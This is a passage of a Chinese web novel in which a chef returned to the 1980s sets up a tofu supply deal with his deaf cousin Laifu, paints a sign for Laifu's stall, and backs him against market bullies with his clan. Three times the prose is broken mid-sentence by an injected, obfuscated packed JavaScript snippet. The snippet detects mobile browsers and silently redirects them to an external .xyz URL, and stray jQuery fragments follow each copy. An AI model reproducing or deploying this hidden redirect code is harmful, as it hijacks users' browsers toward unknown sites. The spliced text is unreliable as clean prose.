当然是从系统这里学最快。 学会了还可以问问肖师想不想学，嘿嘿。 当然，更重要的是，周砚认为系统的判断是正确的。 在眼下苏稽镇范围内，他姨婆的西坝豆腐做法，绝对是首屈一指的。 一旦这传承断了，他再想做豆腐类的菜品，就只能在一堆【不错】、【相当不错】的豆腐里面做选择了。 至于自己做豆腐？ 老太太都说了，打铁、撑船、磨豆腐是人生三大苦。 他是来享受生活，不是来受苦的。 他的目光转向了来福，笑容逐渐变态。 没办法，只能苦一苦孩子了。 周砚拿出纸笔，刷刷写了一行字，递向来福：来福，你喜不喜欢做豆腐？ 来福看完之后，用力点了点头，眼里有光亮起。 周砚又写道：“那你想不想去南方打工？” 来福摇头，目光下意识地看向了孙老太，眼中有着几分担忧。 周砚啥都明白了。 “姨婆，今天早上，我还碰到来福了，就是没认出他，在他这里买了两块豆腐回去做了，我奶奶一吃就说这豆腐手艺跟你做的差不多，没想到真是。”周砚看着孙老太笑着开口道： “你放心嘛，还有我们这些表兄弟给来福扎起，来福要是喜欢做豆腐，就让他安心做豆腐，送他去南方打工不一定能找到工作，你在家没人照顾，他也不放心噻。” “真的啊？”孙老太愣了一下，旋即意识到了什么，看向了来福。 来福点点头，手指比划了几下。 “哎哟，原来早上的好心人是周砚啊，我都不晓得。”孙老太看着周砚，神情有些激动：“难怪老话常说，不是一家人不进一家门，你们面都没见过，来福还能靠你这个老表帮他把豆腐卖出去。你这个人，太好了。” 老太太也是有些意外的看向周砚，她知道周砚的豆腐是来福这买的，但没想到他还帮着卖完了。 “姨婆，来福一天要卖好多豆腐，你们的日子才过得去啊？”周砚开门见山问道。 孙老太想了想道：“一斤豆腐卖二角钱，买一斤豆子是二角钱，一斤豆子出三斤豆腐，加上杂七杂八的损耗，要是一天卖十斤豆腐出去，他手头能留一块钱，那日子就能过了。” 一天卖十斤，不是有手就行？ 周砚估摸着今天早上帮来福卖出的两板豆腐，应该有二十斤左右，小板，一板十斤。 卖两板的话，那来福一天就能挣两块钱，一个月六十。 这收入比纺织厂的一线工人都高了。 苦行当自然会有不错的利润空间，不然谁拿命去干啊。 “姨婆你只管教他把豆腐做好，销路你不用担心，我会帮他想办法，至少保证一天能销十斤豆腐出去。”周砚心头有数了，便拍着胸脯向孙老太保证道。 孙老太却是连连摆手：“你自己开饭店都忙得很，啷个好意思麻烦你呢，要不得，要不得。” “你这么说就见外了哈，我现在就是还没有做豆腐菜，等我要是学会了麻婆豆腐，说不定一天都要让老表送十斤豆腐到我店里来。”周砚笑道，先给孙老太吃颗定心丸，又好奇问道：“姨婆你现在行动不太方便，还能亲手做豆腐吗？” 孙老太摇头：“我现在做不动了，就是搬个板凳坐旁边喊来福做，我手把手教一板，他自己做一板，所以一板好点，一板要差点，你们肯定吃出来。” “是有点区别，你手把手教的特别好，豆腐细嫩又有韧劲，我拿来煮鲫鱼汤八分钟都不得散碎，来福做的跟外面卖的差不多了，但跟你做的还是有些差距。”周砚点头道：“以后我饭店要的话，还是拿你手把手教的那一板，等来福达到你的水平，我再要他单独做的。” “不愧是大厨，确实懂得起。”孙老太看着周砚的目光有些不同了，连连点头：“那肯定给你送好的，你开饭店卖给客人不一样的。” 周砚又道：“你让他明天还是做两板豆腐嘛，就去桥头那里卖，我明天早上去买菜，顺路再帮他吆喝两声，客人买了觉得好，下回自然又来，把口碑做起，生意就不难做了。” “要得！就是让你费心了。”孙老太点头。 “一家人不说两家话。”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200270|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚摆手，看着周老太那红肿的眼睛，迟疑了一下，还是开口道：“姨婆，你这眼睛有没有去医院看过？我看着像是炎症感染，要不要哪天我带你到医院去看看？” 一门手艺的传承，绝非一两天之功。 来福虽已入门，但要精益求精，达到孙老太的手艺，少不得师父提点。 周老太这眼疾，让周砚有点担忧。 看着也不像是青光眼，估计和丧子之后经常哭有关系，更像是感染。 孙老太摇头：“不用看了，之前我找刘老五看过，他说我这眼睛治不好了，能看一天是一天。” “刘老五那个赤脚医生懂个锤子，以前是个兽医，看了两天《赤脚医生手册》就敢出来帮人看病了！”老太太有点气恼，拉着孙老太道：“丽华，还是要去医院让正经医生看看。” “要得……” 两位老太太闲叙起来，周砚则是到院子里逛了一圈。 这土夯房，到处是裂缝，瞧着有些触目惊心。 有过塌房经验的周砚很清楚，这破房子绝对抗不过明年夏天的雨季。 上回他们家塌房，是老周同志足够警觉，及时把他妈和周沫沫拉了出来，才没有受伤。 可来福和孙老太，一个聋哑人，一个腿脚不便，这房子要是塌了，还真不一定能跑出来。 重修房子实在太贵，周砚琢磨着，要是他们卖豆腐能挣到钱，到镇上租个带院子的房子，做买卖还方便些。 当然，这是别人家的事情，他做不了主，到时候也只能给他们提提建议。 周砚对院子里晒着的腐竹挺感兴趣的，上前摘了一根下来，色泽淡黄透亮，晒得焦干，轻轻一掰，直接脆断，端面有许多空心的小孔，凑到鼻子前闻了一下，有股浓郁的纯正豆香。 不愧是被鉴定为【极其不错】的腐竹，品质确实高。 周砚见猎心喜，这可是卤素菜中的好东西，而且不受季节影响，一年四季都可以卖。 周砚又钻到一旁的茅草屋里看了一眼。 里边摆着六个熏烤架子，现在只有一个炉子是烤着火的，筛子上整齐排列着上百片薄厚均匀的豆干，色泽相当漂亮。 【一炉相当不错的豆干】 系统随之给出鉴定结果。 周砚回头看着站在茅草屋门口的来福，拿出纸笔写了一行字：我能不能尝一块？ 来福笑着点头。 周砚从筛子上拿了一块豆干，入手还有点烫，左手倒右手来回几趟，才没把豆干丢出去，从茅草屋中钻出来。 豆干的厚度约一公分，切的四四方方，已经烘的表面微干，颜色是红棕色的，颇为鲜亮。 周砚闻了一下，有股淡淡的卤香，掰开一角，外壳烘地微微焦干，里边还是白色的，略微偏黄，豆腐看着依旧细腻。 他尝了一口，口感嚼起来有点弹牙，卤香颇为浓郁，豆香颇为突出，咽下之后，余味微甜。 这豆干确实不错。 就是这卤水吧…… 和他奶奶的那一锅老卤相比，还是差了点意思。 但单从豆干的口感而言，已经做得相当有水准。 【相当不错】的鉴定结果，比起腐竹差了一级，应该就是卤水上的不足了。 不过豆干也不是非得要成品，周砚看着茅屋里空置的六个竹筛，琢磨了一下，一手拿着腐竹，咬着豆干转身进了堂屋。 表姐妹俩忆苦思甜，倒是聊的颇为开心。 周砚也不知道老太太从哪变出了一瓶酒，已经和孙老太喝上了，一口猪头肉，一口酒，那叫一个豪爽。 全然看不到先前站在门口，佝偻着腰，一脸苦瓜相的老太太模样。 等两人把杯子里的二两酒喝完，周砚这才拿着腐竹和豆干上前，看着孙老太道：“姨婆，你这个腐竹和豆干怎么卖呢？我准备卤素菜，看到你这腐竹好得很，我想找你订货。” “腐竹我一般卖的八毛钱一斤。”孙老太看着周砚手里的腐竹，笑着说道：“你要的话，就算六毛钱一斤嘛。” “就八**，少一分我都不要。”周砚摇头，态度坚决。 腐竹产量太低了，而且做法特别麻烦，这便宜周砚可不能占。 “两斤豆子才出一斤腐竹，做起来麻烦得很，守着锅一天也做不了好多，勾着腰酸背痛的，八**不算贵。”老太太也是开口，笑着道：“你姨婆这腐竹和豆干都做的好得很，当年我都是从她这里拿货的。” 周砚有点猜到为何老太太会来饭店绕这一道了，除了看表妹，还带他来进货了，笑着点头：“豆干我想要半成品，你把豆腐切成这个样子，然后帮我烤的表面泛黄微干就要得，我自己拿回去卤和上色。” “要得，芬芬姐当年也是这样要求的。”孙老太点头。 就这样，周砚把孙老太家里的腐竹给买空了，量不多，五斤，但装了一大袋。 半成品豆干预定的每天要三斤，后天早上开始让来福背到豆腐摊，周砚自己去拿，给他算的价格是四毛钱一斤。 豆腐烘烤之后缩水一半多，这价格不算贵。 不过周砚也是有要求的，送他店里的东西，必须孙老太亲自把关，质量要有保证。 “你们慢慢走哦，下回又来。”孙老太站在堂屋门口，冲着两人摆手，手里攥着钱，眼眶里闪着泪花，眼睛比来时明亮了几分。 “要得，你好好的，姐姐过些天又来看你。”老太太伸手摸了摸她的头，跟着周砚转身出门。 来福把两人送出大门，一路跟着自行车到了小路口才停下。 “姨婆做的腐竹和豆干硬是好，我这段时间天天逛菜市场，从来没有见过这么好的腐竹。”周砚笑着说道：“奶奶，我打算明天开始卖卤素菜，” 老太太笑盈盈道：“卖嘛，腐竹加上豆干，再弄点海带、藕片和土豆，喜欢吃的人多得很，当年我的卤素菜比卤肉销得还要快，娃娃些和女同志都多喜欢吃。” “你娃娃，也是菩萨心肠，随你老娘。”快到饭店，老太太感慨了一句。 周砚微微一笑道：“这么好的豆腐，就该传下去！一直一直传承下去！” 求月票~~ 今天会有加更，不过可能会晚一点   (本章完) 第151章 沃日你个龟！（月票加更129） 把腐竹放回饭店，周砚先把老太太送回了周村。 回来路上他又去供销社买了十斤干海带回来。 “喔唷，今天买海鲜吃哦！”周砚推着车进饭店，赵铁英上前来，看着车后座的一大捆海带一脸稀奇。 周砚看了她一眼，不太确定赵嬢嬢是不是在阴阳怪气。 毕竟后世要是说带人去吃海鲜，结果上来一盘海带，指定是要被打的。 赵嬢嬢一脸认真的问道：“好多钱一斤？我都好多年没有买了，我们小时候，过年过节都吃不上一盘海带。” “干的，八角五一斤。” “便宜了那么多！”赵嬢嬢惊讶道：“硬是要得哦！今年过年买点回来炖肉吃，安逸得很。” 周砚确定赵嬢嬢是认真的了，笑着道：“不用等到过年，我都买回来了，想吃啥时候都可以。” “你买这么多做啥子？离过年还早得很嘛。”赵嬢嬢还是不解。 周砚一边把海带解下来，一边说道：“我打算明天开始弄卤素菜，从姨婆那里买了腐竹，又定了豆干，海带打结也可以作为一道素菜，再弄点土豆和藕，先这样整来试试看。” “你土豆和藕是素菜，豆干勉强也算，但是腐竹和海带价格那么贵，你和素菜掺一堆啷个卖呢？”赵嬢嬢连连摇头：“天老爷，海带，这是海鲜！” 周砚抿嘴，有点想笑。 但看着赵嬢嬢认真的神情，又不敢笑。 这倒是让他想起了一件往事，他以前采访过一位老厨师，也讲起过六十年代海带贵比黄金的往事，那会普通人根本吃不起也吃不到海带，全靠进口，价格比大虾还贵。 后来是一位曾姓院士将海带养殖技术普及，国产海带产量暴涨，才让这道海鲜进入千家万户。 从价格来看，应该已经普及有些年了。 但看得出来，海带在普通人的心中，地位依然不低。 “定价肯定有区别，不然都挑腐竹和海带了。”周砚点点头道：“藕、土豆卖四毛钱一斤，豆腐干卖六**一斤，腐竹和海带卖八毛钱一斤，纯利能到五成左右。” 依然走的薄利多销的路子。 当然，考虑的主要还是购买力的问题。 肉价刚刚下调到一块钱一斤。 卤素菜的价格要是比肉价还贵，客人恐怕接受度没那么高。 而且，四毛钱一斤的卤素菜，或许可以带来一些价格敏感客户，从而扩张市场。 吃的东西就是这样的。 当你觉得卤素菜好吃的时候，自然会对那卤味中满满的荤香产生好奇。 好奇，就是沦陷的开始。 始于一份卤素菜，但绝对不会终于一道卤素菜。 周砚有着绝对的自信心。 光靠那群爱喝酒的老爷们已经见顶了，现在要靠卤素菜来撬开纺织厂女工这个富矿。 纺织厂的女工可是占了足足七成。 在这个时代撑起半边天的劳动妇女，生活中会相对更把细一些。 两块五、三块一斤的卤肉会偶偶买，但也会更多的考虑到家中的柴米油盐。 四**一斤的卤素菜，买两毛钱就能有半斤，带回家给孩子和家人分享，想来应该很少有人能拒绝。 “要得，你有数就行，你肯定比我懂。”赵嬢嬢点点头，也就不再纠结，转而帮忙打理海带，扫掉海带上掉落的盐巴。 今天出门这一趟，对于周砚来说可谓收获满满。 多了个老表不说，豆腐制品供应商直接就确定下来了，本来还在考量的卤素菜也是快速完成推进。 一天能卖多少豆腐，周砚不敢保证。 但只要他的卤素菜卖得好，光是腐竹和豆腐干，就够他们奶孙俩忙活的。 …… 晚上工厂下班，卤牛肉不出所料的卖爆了。 不到十分钟，剩下的卤六斤牛肉销售一空。 还有不少客人嚷着要预定的。 不过周砚没有开放除卤猪蹄之外的其他菜品的预定，只承诺明天供应量翻倍，尽可能地让大家都能买到卤牛肉。 十斤卤牛肉，暂未对卤猪货产生冲击。 但周砚已经把明天的猪头预定减少了一个，因为卤牛肉再增加十斤，必然会导致卤猪货受到一定冲击。 他得控制损耗。 晚上营业结束，周砚去跟林志强跑了一趟步。 “林叔，又换新运动鞋啊？”周砚看着林志强脚上的白色飞跃运动鞋，不禁笑道：“孟姐对你可真不错。” 林志强有点小得意：“那是，我这天天跑步，身体锻炼的棒棒的，她……她也高兴啊。” 这话说的，周砚就不知道孟姐怎么个高兴法了。 “你和夏瑶最近还联系没？”林志强随口问道，眼睛却小心盯着他瞅，试图从他的表情变化中看到一点不一样的东西。 “偶偶有书信来往吧，她应该也挺忙的。”周砚笑着应道，神情没有太多波澜。 “挺好的，年轻人就是要多联系，常来常往，感情才不会淡，有啥不懂的就来问我，我经验丰富。”林志强笑眯眯道。 “好，回头一定向林叔请教。”周砚点头。 两人聊了几句，话题又转到了时局上。 “我听说中英要签联合声明了，最近大家都在议论这事，香江马上就要回归了……” 俩人聊了一路，林志强对周砚的推断相当惊讶且认同。 周砚对此报以微微一笑。 别的他不记得，但香江回归是考点啊，忘不了。 林志强满头大汗跑回家，看着客厅里正在练八段锦的孟安荷说道：“周砚这个年轻人太有内涵了，我要是有女儿，肯定做主嫁给他。” 孟安荷不紧不慢的推着动作，气定神闲道：“这话你不用跟我说，跟我姐和姐夫说去。” “那我去写信了。”林志强转身便要往书房走。 “站到！”孟安荷瞪了他一眼，“先去洗澡，不要把汗弄到书桌和椅子上。还有，你要写就写，别提我哈，我可不想担责。” “啊？安荷，咱们不是夫妻一体，夫妻同心吗？”林志强有点受伤。 孟安荷淡定道：“这是你考察的结果，我只晓得周砚做菜好吃，这事我跟我姐说了，其他方面我还没怎么接触呢。” “行，那我也下回再写，看老夏啥时候忍不住给我写信，上一封信还是六月份呢。”林志强转身拿了搪瓷盆和衣服洗澡去了。 “周砚还真是深得他的心啊……”孟安荷忍不住笑着摇头。 …… 腐竹提前用冷水泡三个小时左右就够了，泡久了口感太软烂，反而失了灵魂。 海带也只需泡六个小时。 考虑到素菜的卤制时间较短，且不需要在卤水中浸泡过久，所以等明天早上起床后再泡也来得及。 现在每天隔夜泡的就是笋干。 周砚洗了澡，把笋干泡好，和臭棋篓老周同志鏖战三百回合，各有胜负，尽兴而散。 周砚没急着睡，找了块长约四十公分，宽三十公分的木板，拿铅笔打了个草稿，简单设计了一下，开始写招牌。 红色油漆用大刷子先写下八个大字：西坝豆腐！2角一斤！ 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200271|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在下方用小一号的黄色油漆字迹写上：无声豆腐摊。 再用小笔蘸了黑色油漆，写了几行小字：传承数百年的西坝孙记豆腐，豆腐细嫩柔韧，煎、炸、煮皆可，不烂不散，欢迎品尝购买。 最后标注：我是一位聋哑人，豆腐2角钱一斤，恕不讲价、赊欠。 我听不见你的声音，但我能看懂您的笑容。 一块木板，写的满满当当。 但主次分明。 关键信息都加粗加大了。 并且把西坝豆腐的特点展开讲了一下，这是周砚自己购买烹饪之后给出的评价，算是比较公道的。 至于最后的标注，是用来唤醒人们内心柔软的。 卖惨吗？ 算是。 但来福确实挺惨的，他长得比较清秀，看着瘦巴巴的，又是聋哑人，确实容易让人升起怜悯之心。 这也就是生不逢时，不然周砚给他改个网名叫‘福贵’。 把情况如实剪辑说明一下，这辈子都不用卖豆腐了。 天天坐石磨前磨豆浆，不时举一下：感谢大哥！的牌子就行了。 而现在，他的来福老表。 每天拖着瘦弱的身体哐哐磨浆、过滤、煮浆、点浆，压制成型才能做出一板豆腐。 做好之后还要背到镇上来卖，卖完回去继续煮腐竹，烘豆干。 累归累，但周砚觉得来福应该会更享受这种踏实的感觉。 当然，标注聋哑人，也是给他减少麻烦，不然光靠手语比划，客人看不懂就直接走了。 立柱和底座已经准备好了，明天早上起来敲几颗钉子，一块轻便又醒目的广告牌立刻完工。 既然和孙老太做了承诺，这事周砚肯定给她办得漂漂亮亮。 一板豆腐而已，周砚不信卖不完。 …… 第二天天蒙蒙亮，小周同志把广告牌拿到河边哐哐钉好。 往地上一放，三脚结构还挺稳固的。 而且提着也不算重，他还带了条绳子，来福可以把广告牌绑在背篼上，行走的广告牌，不影响背篼里装豆腐。 “你这个广告牌写的真不错，醒目又有吸引力，还把事情讲明白了。”老周同志看着周砚放在后座背篼里的招牌，点头道。 “肯定要用点心，我比谁都希望他豆腐卖得好。”周砚笑着往前骑去，他还指望着来福好好学，好好练，早日把麻婆豆腐给他解锁了。 与回锅肉、宫保鸡丁并列的川菜三巨头。 这菜周砚可是相当期待。 把肉都买全了，自行车停在桥头，还是让老周同志看着，周砚扛着那木制的招牌沿着河边走去，他已经有点期待来福看到招牌的表情了。 他的目光在菜贩们面前摆着的菜上扫着，买了两把新鲜的小青菜，看中了四个莲花白，等会转回来再买。 快到豆腐摊前，周砚突然听到两道有些刺耳的声音： “你莫要摆这里哈！今天我先来的！你敢摆，我把你摊摊都掀了。” “就是！哑巴了不起啊？老娘在这里卖了三年豆腐了，赶紧把你豆腐背起走！” 周砚把目光从菜摊上收回，抬眼看去。 来福站在小桌后，护着豆腐，缩着脖子，表情有些慌张。 而他的面前站着一男一女，表情嚣张跋扈，穿着花衬衣的肥壮的青年更是伸手去抓来福背着的背篼。 “沃**！” 周砚怒骂一声，扛着招牌就冲了出去！—— PS：加更求月票~ 3.4k加更求月票~ (本章完) 第152章 那我们兄弟也略懂些拳脚(62k二合一 第152章那我们兄弟也略懂些拳脚(6.2k二合一) 李华和刘佳丽夫妻俩在桥头卖了三年豆腐，早把石板桥头这块地当成自家的了。 李家三兄弟，在这条街上，一前一后一中间，摆了三个豆腐摊，一天都能卖个三四十斤豆腐，一个月挣的比纺织厂的工人还多。 除了李家的豆腐，别家都被他们排挤走了。 也就前边黄葛树下有个卖豆腐的杨老头，儿子在派出所当**，他们不敢说什么。 可前两天来的这个小哑巴，昨天竟然卖出了两板豆腐，少说也有二十斤。 买豆腐的就那么些客人，小哑巴卖了二十斤，他们就少卖二十斤。 在他们看来，这和小哑巴把钱从他们口袋里掏走没两样。 三兄弟和家里二老昨晚商量了一宿，今天大哥李华夫妇俩一早就来把小哑巴的摊位给占了，不让他在这摆摊。 一个小哑巴，听不到也说不来，家里只有个腿脚不便的老太太，欺负也是白欺负。 真要让他把口碑做起来，他们还要不要挣钱了？ 但这小哑巴有点犟，把小桌子往角落里放，硬是要留在这里摆。 “老子喊你走听不懂撒？”李华伸手去抓少年的背篼。 少年倒也灵巧，往后缩了一步，躲开了他的大手。 “还敢躲！”李华有些恼怒，一把抓起那小桌上压着的广告纸，两下撕成了碎片，哗地甩在少年的脸上。 少年伸手接住了一张碎片，愣愣出神，眼眶顿时红了，左手攥着拳头，身体微微颤抖。 “哎呀，不要这样整，要不得，要不得啊……”旁边摆摊卖菜的嬢嬢连连摆手。 旁边摆摊的农民也是皱起眉头，脸上有些怒色。 “不是你家亲戚，你莫要管，管得宽。”刘佳丽翻着白眼道，“今天他在这里就是摆不成！天王老爷来了都不行！我说的！” “沃**！” 就在这时，伴着一声怒骂，一道身影突然从后方冲了出来，一脚踹在了李华那肥硕的肚子上。 “哎哟！” 李华叫了一声，肥壮的身形被一脚直接踹飞，砸在了一旁的菜摊上，压扁了四五个莲花白。 刘佳丽瞪大眼睛，下意识地后退了两步，腿一软，跌坐在地，一脸震惊地抬头看着那扛着一块木牌，手里还提着两把青菜的高大青年，声音微颤：“你……你啷个**呢？” “你是哪个？！敢打老子！”李华把嘴里的菜叶子吐出，同样怒目圆睁地盯着周砚。 “哪个？我是他哥！”周砚将来福护在身后，冷眼看着两人，“掀摊摊，撕招牌，还要**，怎么，聋哑人就可以往死里欺负？不把我们这些兄弟当人是吧？” 双眼通红的来福抬头，看着那高大又熟悉的背影，愣愣出神，眼里又重新亮起了光。 旁观的客人和菜农，纷纷看向周砚，这青年硬是又高又帅，一脸正气，不像那李家兄弟几个满脸横肉，看着就不像好人。 李华夫妇的做法令人厌恶，看到有人为那聋哑少年出头，众人纷纷拍手叫好。 “就是！人家娃娃本来就可怜！摆个摊摊卖豆腐还要被他们欺负！” “柿子捡软的捏，尽干缺德事，这下踢到铁板上了吧！” 人群里有人跟着嫌恶骂道。 “兄弟？”李华目光扫过周砚扛着的木牌，看到那熟悉的字迹，冷着脸握着拳头爬了起来，“那你今天最好把你这个哑巴兄弟带走，不然，他来一回，我就砸一回！” 人群后边，还有两个满脸横肉的年轻人往这边赶来，和李华长得有六七分像。 来福从身后扯了扯周砚的衣服，冲着他摇头，指了指桌上的豆腐和背篼，应该说的是要走。 “不用怕，就摆这。”周砚笑着摸了摸他的脑袋，转而看向李华冷笑道：“我倒要看看你有好大个本事，卖个豆腐都能欺行霸市。” 李华和吴佳丽对了一下眼神，没想到今天碰上个混不吝的愣头青。 另一边，周淼正站在肉摊前和章老三闲聊。 有个瘦小的男人快步走来，周淼急切道：“四哥！你家周砚在前边跟人干起来了！你快去看看哦！” “张岩，周砚跟谁干起来了？好多人？”周淼面色一冷，一边往前走，一边问道。 “卖豆腐的李华，他们兄弟三个都在桥头卖豆腐，我怕周砚要吃亏，就赶紧来喊你。”张岩应道。 周淼点头，又道：“劳驾你骑我车跑一趟码头，跟周杰和周海说一声，喊他们过来一趟。” “要得！”张岩应了一声，转头去推车。 “老四，莫要犯浑！”章老三冲着周淼的背影喊了一声，看他闷头往前走，叹了口气，从摊上抄了把斩骨刀，也跟了过去。 李华三兄弟已经把周砚围住，三人比周砚矮了半个头，但胜在肥壮，气势倒也不弱。 不过这一时间也没人敢先动手。 周砚瞧出了三人色厉内荏，心头有底，不但不退反倒往前走了一步，笑着道：“拳头都捏起了，打我噻？欺行霸市，当街行凶，根据刑法第八条，进去怕是要多关几年哦，上升一下高度，有吃不完的枪子。” 李华三兄弟下意识退了一步，对了一下眼神，皆有些慌乱。 不怕对方凶，就怕对方又凶又有文化，跟你扯啥子刑法。 “你……你莫要乱扯！我们兄弟三个没动手哈，大家伙都可以作证，我们根本没动手！”李华连忙说道，手都下意识背到身后去了。 “对……没动手！” 李豪和李凡也是连忙跟着把手背到身后。 三人气势顿时弱了一大截，背着双手站在周砚面前的模样，就像是班主任在给做错事的学生训话。 “没动手，那我这弟娃的招牌啷个回事？”周砚把手里的招牌往地上一立，“我昨天给他写的招牌被你们撕了，来嘛，搞快，把这块招牌也给我砸了。 对了，提醒一下你，我这招牌是找广告大师设计的，书法名家手绘，花了一百块钱，刚好够吃枪子。” “啥子招牌，要一百块！” 李华等人又往后边退了两步，离周砚身旁的招牌远远地。 “大哥，他是不是嚯我们的？” “这龟儿子啷个一点都不怕我们呢？” 李凡和李豪悄声说道，以往来卖豆腐抢生意的，他们三兄弟只需往那一站，恐吓两句，对方立马收起东西就走，屁都不敢放一个。 今天这个家伙，一个人的气势就把他们都压住了。 李华目光闪烁，拳头捏了又放，不怕遇到浑的，互殴关不了两天，他们三兄弟从小跟人打架惯了的，不怕事。 但这小子，张口闭口就是欺行霸市、刑法、吃枪子，又扯啥子广告大师、书法大师，确实有些唬人。 “老四，你这儿子可以哦，能文能武，点亏都没吃。”章老三把杀猪刀背到身后，忍不住笑道。 周淼神色稍缓，也是拉下衣摆将腰间的剔骨刀刀把盖住。 “不要轻易动手，但气势上不能输。”李华和两个弟弟低声说了一句，咳了一声，向前一步看着周砚，准备放两句狠话。 叮铃！叮铃！ 一阵车铃声响起，四辆自行车停在了豆腐摊前。 周杰、周海、周飞，还有周宏伟同时下车，拨开人群走了进来，怒声道：“我看看，是谁！要打我们弟娃？” “周砚，你没事吧？”周杰先看向周砚，关切问道。 周海往前一站，如巨熊一般挡在了李华面前，肥壮的李华跟他一比，体型小了两圈。 周宏伟穿着件背心，露出了健硕的肌肉，手里还提着一根棒棒，冷眼盯着三人。 周飞则是站在侧后方，把后路给截了。 三对一的场面，瞬间扭转。 李家三兄弟的眼里，终于有了慌乱之色。 “哥，是杀牛周村的人！”李豪低声道。 “那个叫周海，一拳能打死一头牛！”李凡声音微颤。 李华的脸色有点黑，眼神慌张：“不是说那小哑巴是上水村的吗？怎么和周村扯上关系了？” 杀牛周村在苏稽镇是出了名的团结，杀牛这个行当放以前可是相当暴利的，但整个苏稽，乃至于嘉州范围，杀牛几乎被周村垄断。 他们杀得，别处杀不得。 杀牛匠一身戾气，腰间随时别着一把剔骨刀。 苏稽人都晓得，惹谁也不要轻易惹周村人。 瞧瞧这几位，个个膀大腰圆，体格健硕，放哪里都是一个能打几个那种。 “我没得事，这是姨婆的孙儿来福，在这边卖豆腐，这李家三兄弟仗势欺人，要砸他摊摊，赶他走。我们当兄弟的，要给他扎起嘛。”周砚有些意外周杰他们赶来的那么快，但还是把情况简单说明。 “来福？都长这么大了啊。”周杰这才注意到缩在周砚身后的瘦弱少年，看着他眼眶泛红，想到了他的情况，怒气噌的就上来了，伸手摸了摸少年的脑袋道：“来福，不要怕，哥哥们都在，谁欺负你，就是在我们脑壳上拉屎。” 周海和周飞闻言，也是怒目圆睁，盯住了李家三兄弟。 凌然寒意，让李华等三人两股战战。 磨豆腐和杀牛的怎么比？ 拿捏软豆腐的气势，在这一刻一碰就稀碎。 和这群悍匪相比，周砚反倒显得文质彬彬。 周杰了解完情况，转而盯住了李华三兄弟，冷声开口道：“李家兄弟是吧？我们弟娃来福在这里卖豆腐，你们意见很大？一个十六岁的娃娃，听不见又说不来，你们要掀他摊摊？还要**？” “那个……我们先来的嘛，我们就是吓唬他一下，没有动手，倒是你弟娃过来一脚把我踹飞了。”李华声音弱了几分，没了之前的盛气凌然。 “我弟娃踹你是为了你好，你要动了手，那现在就不是站在这里说话了。”周杰语气冷漠：“还有，这么大的集市，大家想卖啥就卖啥，做生意各凭本事，你先来就不让别人来，这算啥？比拳头大吗？” 李华嗫嗫，还想辩解两句。 “我现在跟你讲道理，你要是听不懂道理，那我们兄弟也略懂些拳脚。”周杰接着说道： “你要觉得我们打不赢，我们家里还有两个当兵，一个在峨眉山练武术的兄弟，一起喊回来陪你们练练也要得。” 李家三兄弟立马不敢吱声了，缩着脑袋。 “抱歉，刚刚是我鲁莽了。”李华秒怂，态度诚恳地向周砚道歉。 周砚眉梢微挑，这种事情，果然还得杰哥来平。 他，终究少了几分江湖气。 “错了，你和你婆娘应该道歉的是来福。”周砚伸手把来福揽到跟前来，一手轻轻搭在他的肩上。 李华犹豫了一下，还是把吴佳丽扯过来，向来福低头道歉。 来福有点手足无措，可身后站着周砚，肩上搭着一只温暖有力的手，倒也站的笔直。 “我这个弟娃老实本分，在这里摆摊卖点豆腐，希望各位叔伯兄弟莫要为难他。”周杰声音提高了几分，目光扫过围观的客人和摆摊的摊贩：“家里啥都没得，就是兄弟多，绝不拉稀摆带。” 目光所到之处，众人纷纷点头。 不怕，反倒有些羡慕这种兄弟情义。 大家本来就可怜那小哑巴，对李家三兄弟深痛恶绝，现在看他们被整治，只觉得大快人心。 叮铃！ 说话间又传来一阵铃铛声。 一下来了七八辆自行车，十几个壮汉。 “杰哥？干哪个？”一人跳下车，开口便问道。 其他人也是把车一停，哗啦啦围了过来。 李家三兄弟缩成一团，瑟瑟发抖。 他们三个磨豆腐的，有必要来这么多人吗？ “没得事，都摆平了，回去嘛，过两天请你们喝酒。”周杰摆了摆手，“莫要影响交通。” “要得。”众人和周砚他们打了声招呼，又看了眼李家三兄弟，骑上车便走了。 都是周村的年轻人，喊一声立马就来了。 周砚看着这一幕，有点恍惚，第一次如此切实的感受到了周村人的团结。 李家三兄弟松了口气，不敢待着了，背着自己的豆腐和小桌，灰溜溜走了。 人群也随之散去。 周淼和章老三往肉摊走。 章老三带着几分感慨道：“年轻的时候，你们周村也是这么团结，在外面才没人敢惹，不像我们村那些窝囊废，只会窝里斗，出了村子全是缩头乌龟。” “谢了，三哥。”周淼看了眼他手里提着的杀猪刀。 “哎呀，跑的匆忙，刀都忘了放了。”章老三笑着挠了挠头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200272|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周海他们把自行车推到一边。 